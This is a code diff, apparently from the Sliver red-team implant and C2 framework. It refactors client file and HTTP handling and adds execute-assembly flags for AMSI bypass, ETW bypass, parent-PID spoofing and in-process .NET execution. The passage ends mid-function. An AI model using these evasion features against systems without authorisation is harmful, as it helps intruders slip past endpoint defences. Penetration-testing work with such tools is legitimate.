-* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
-* Windows process migration, process injection, user token manipulation, etc.
-* Let's Encrypt integration
-* In-memory .NET assembly execution
-* COFF/BOF in-memory loader
-* TCP and named pipe pivots
-* Much more!
+- Dynamic code generation
+- Compile-time obfuscation
+- Multiplayer-mode
+- Staged and Stageless payloads
+- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
+- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
+- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+- Windows process migration, process injection, user token manipulation, etc.
+- Let's Encrypt integration
+- In-memory .NET assembly execution
+- COFF/BOF in-memory loader
+- TCP and named pipe pivots
+- Much more!
 
 ### Getting Started
 
@@ -47,4 +52,3 @@ Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
-

SECURITY.md

@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
 
 ### Reporting a Vulnerability
 
-Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).

build.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 """
 Sliver Implant Framework
 Copyright (C) 2019  Bishop Fox
@@ -21,12 +21,6 @@ import os
 import sys
 import argparse
 
-try:
-    input = raw_input # Py2 / Py3 compatability
-except NameError:
-    pass
-
-
 INFO = "\033[1m\033[36m[*]\033[0m "
 WARN = "\033[1m\033[31m[!]\033[0m "
 BOLD = "\033[1m"

client/assets/aliases.go

@@ -19,7 +19,6 @@ package assets
 */
 
 import (
-	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -45,7 +44,7 @@ func GetAliasesDir() string {
 // GetInstalledAliasManifests - Returns a list of installed alias manifests
 func GetInstalledAliasManifests() []string {
 	aliasDir := GetAliasesDir()
-	aliasDirContent, err := ioutil.ReadDir(aliasDir)
+	aliasDirContent, err := os.ReadDir(aliasDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}

client/assets/armories.go

@@ -20,7 +20,6 @@ package assets
 
 import (
 	"encoding/json"
-	"io/ioutil"
 	"log"
 	"os"
 	"os/exec"
@@ -57,7 +56,7 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
-	data, err := ioutil.ReadFile(armoryConfigPath)
+	data, err := os.ReadFile(armoryConfigPath)
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}

client/assets/assets.go

@@ -20,7 +20,6 @@ package assets
 
 import (
 	"fmt"
-	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
@@ -50,9 +49,33 @@ func GetRootAppDir() string {
 	return dir
 }
 
+// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
+func GetClientLogsDir() string {
+	logsDir := filepath.Join(GetRootAppDir(), "logs")
+	if _, err := os.Stat(logsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(logsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return logsDir
+}
+
+// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
+func GetConsoleLogsDir() string {
+	consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
+	if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(consoleLogsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return consoleLogsDir
+}
+
 func assetVersion() string {
 	appDir := GetRootAppDir()
-	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
+	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
 	if err != nil {
 		return ""
 	}

client/assets/config.go

@@ -23,10 +23,9 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"log"
 	"os"
-	"path"
 	"path/filepath"
 )
 
@@ -62,7 +61,7 @@ func GetConfigDir() string {
 // GetConfigs - Returns a list of available configs
 func GetConfigs() map[string]*ClientConfig {
 	configDir := GetConfigDir()
-	configFiles, err := ioutil.ReadDir(configDir)
+	configFiles, err := os.ReadDir(configDir)
 	if err != nil {
 		log.Printf("No configs found %v", err)
 		return map[string]*ClientConfig{}
@@ -70,7 +69,7 @@ func GetConfigs() map[string]*ClientConfig {
 
 	confs := map[string]*ClientConfig{}
 	for _, confFile := range configFiles {
-		confFilePath := path.Join(configDir, confFile.Name())
+		confFilePath := filepath.Join(configDir, confFile.Name())
 		log.Printf("Parsing config %s", confFilePath)
 
 		conf, err := ReadConfig(confFilePath)
@@ -91,7 +90,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 		return nil, err
 	}
 	defer confFile.Close()
-	data, err := ioutil.ReadAll(confFile)
+	data, err := io.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
 		return nil, err
@@ -114,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
 	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
-	err := ioutil.WriteFile(saveTo, configJSON, 0600)
+	err := os.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {
 		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
 		return err

client/assets/extensions.go

@@ -19,7 +19,6 @@ package assets
 */
 
 import (
-	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -46,7 +45,7 @@ func GetExtensionsDir() string {
 // GetInstalledExtensionManifests - Returns a list of installed extension manifests
 func GetInstalledExtensionManifests() []string {
 	extDir := GetExtensionsDir()
-	extDirContent, err := ioutil.ReadDir(extDir)
+	extDirContent, err := os.ReadDir(extDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}

client/assets/settings.go

@@ -20,7 +20,7 @@ package assets
 
 import (
 	"encoding/json"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 )
 
@@ -36,12 +36,13 @@ type ClientSettings struct {
 	SmallTermWidth    int    `json:"small_term_width"`
 	AlwaysOverflow    bool   `json:"always_overflow"`
 	VimMode           bool   `json:"vim_mode"`
+	ConsoleLogs       bool   `json:"console_logs"`
 }
 
 // LoadSettings - Load the client settings from disk
 func LoadSettings() (*ClientSettings, error) {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
 	if err != nil {
 		return defaultSettings(), err
 	}
@@ -61,6 +62,7 @@ func defaultSettings() *ClientSettings {
 		SmallTermWidth:    170,
 		AlwaysOverflow:    false,
 		VimMode:           false,
+		ConsoleLogs:       true,
 	}
 }
 
@@ -74,6 +76,6 @@ func SaveSettings(settings *ClientSettings) error {
 	if err != nil {
 		return err
 	}
-	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
 	return err
 }

client/command/alias/load.go

@@ -22,12 +22,12 @@ import (
 	"context"
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -141,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	// parse it
-	data, err := ioutil.ReadFile(manifestPath)
+	data, err := os.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -177,8 +177,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
 			f.Bool("s", "save", false, "Save output to disk")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +279,39 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
+	processArgsStr := ctx.Flags.String("process-arguments")
+	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
+	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
+	// we're alerting the user that the arguments will be truncated.
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		msgStr := ""
+		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
+		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
+		// if the flag is not registered.
+		if aliasManifest.IsAssembly {
+			inProcess := ctx.Flags.Bool("in-process")
+			runtime := ctx.Flags.String("runtime")
+			amsiBypass := ctx.Flags.Bool("amsi-bypass")
+			etwBypass := ctx.Flags.Bool("etw-bypass")
+			if !inProcess {
+				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
+			}
+			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+				return
+			}
+		} else if !aliasManifest.IsReflective {
+			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
+		}
+		con.PrintWarnf(msgStr)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -284,7 +324,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -292,7 +332,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -306,15 +346,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
+			Request:     con.ActiveTarget.Request(ctx),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl
@@ -350,6 +396,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -386,6 +434,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl

client/command/armory/armory.go

@@ -227,14 +227,16 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
 func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
-		width = 999
+		width = 1
 	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Packages" + console.Normal)
 
-	if con.Settings.SmallTermWidth < width {
+	urlMargin := 150 // Extra margin needed to show URL column
+
+	if con.Settings.SmallTermWidth+urlMargin < width {
 		tw.AppendHeader(table.Row{
 			"Command Name",
 			"Version",
@@ -289,7 +291,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		if extensions.CmdExists(pkg.CommandName, con.App) {
 			color = console.Green
 		}
-		if con.Settings.SmallTermWidth < width {
+		if con.Settings.SmallTermWidth+urlMargin < width {
 			rows = append(rows, table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -484,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 
 	var sig *minisign.Signature
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	} else {
 		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}

client/command/armory/install.go

@@ -21,7 +21,6 @@ package armory
 import (
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"
@@ -143,7 +142,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
@@ -159,7 +158,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
 	if err != nil {
 		return err
 	}
@@ -261,7 +260,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
@@ -277,7 +276,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 		return errors.New("signature verification failed")
 	}
 
-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
 	if err != nil {
 		return err
 	}

client/command/armory/parsers.go

@@ -24,7 +24,7 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"net"
 	"net/http"
 	"net/url"
@@ -40,7 +40,7 @@ import (
 type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
 
 // ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
 
 var (
 	indexParsers = map[string]ArmoryIndexParser{
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
+	resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
-	if err != nil {
-		return nil, err
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
 	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
 			return nil, nil, errors.New("invalid url scheme")
 		}
-		resp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer resp.Body.Close()
-		tarGz, err = ioutil.ReadAll(resp.Body)
-		if err != nil {
-			return nil, nil, err
-		}
-		if resp.StatusCode != http.StatusOK {
-			return nil, nil, errors.New("api returned non-200 status code")
-		}
 	}
 	return sig, tarGz, nil
 }
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, err
 	}
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, errors.New("api returned non-200 status code")
+		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 	var sigData []byte
 	for _, asset := range release.Assets {
 		if asset.Name == armoryIndexFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			armoryIndexData, err = ioutil.ReadAll(resp.Body)
+			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
 		}
 		if asset.Name == armoryIndexSigFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			sigData, err = ioutil.ReadAll(resp.Body)
+			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, errors.New("invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{}
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
+	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
 		return nil, err
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 }
 
 // GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, nil, errors.New("api returned non-200 status code")
+		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 	var tarGz []byte
 	for _, asset := range release.Assets {
 		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			var body []byte
-			body, err = ioutil.ReadAll(resp.Body)
+			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 			}
 		}
 		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			tarGz, err = ioutil.ReadAll(resp.Body)
+			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 //
 
 // GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
 	if err != nil {
 		return nil, nil, err
 	}
-	client := httpClient(clientConfig)
 
 	sigURL, err := url.Parse(armoryPkg.RepoURL)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
 	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-	sigResp, err := client.Get(sigURL.String())
+
+	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
+	noAuth := &assets.ArmoryConfig{
+		Authorization: "",
+	}
+	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
 	if err != nil {
 		return nil, nil, err
 	}
-	defer sigResp.Body.Close()
-	if sigResp.StatusCode != http.StatusOK {
-		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
-	}
-	var body []byte
-	body, err = ioutil.ReadAll(sigResp.Body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
-	}
+
 	sig, err := parsePkgMinsig(body)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
 			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 		}
 		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGzResp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer tarGzResp.Body.Close()
-		if tarGzResp.StatusCode != http.StatusOK {
-			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
-		}
-		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
-		}
 	}
 
 	return sig, tarGz, nil
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 		},
 	}
 }
+
+func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
+	client := httpClient(clientConfig)
+	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if len(extraHeaders) > 0 {
+		for key := range extraHeaders {
+			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
+		}
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+
+	body, err := io.ReadAll(resp.Body)
+	return resp, body, err
+}
+
+func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
+	downloadHdr := http.Header{
+		"Accept": {"application/octet-stream"},
+	}
+	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
+	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
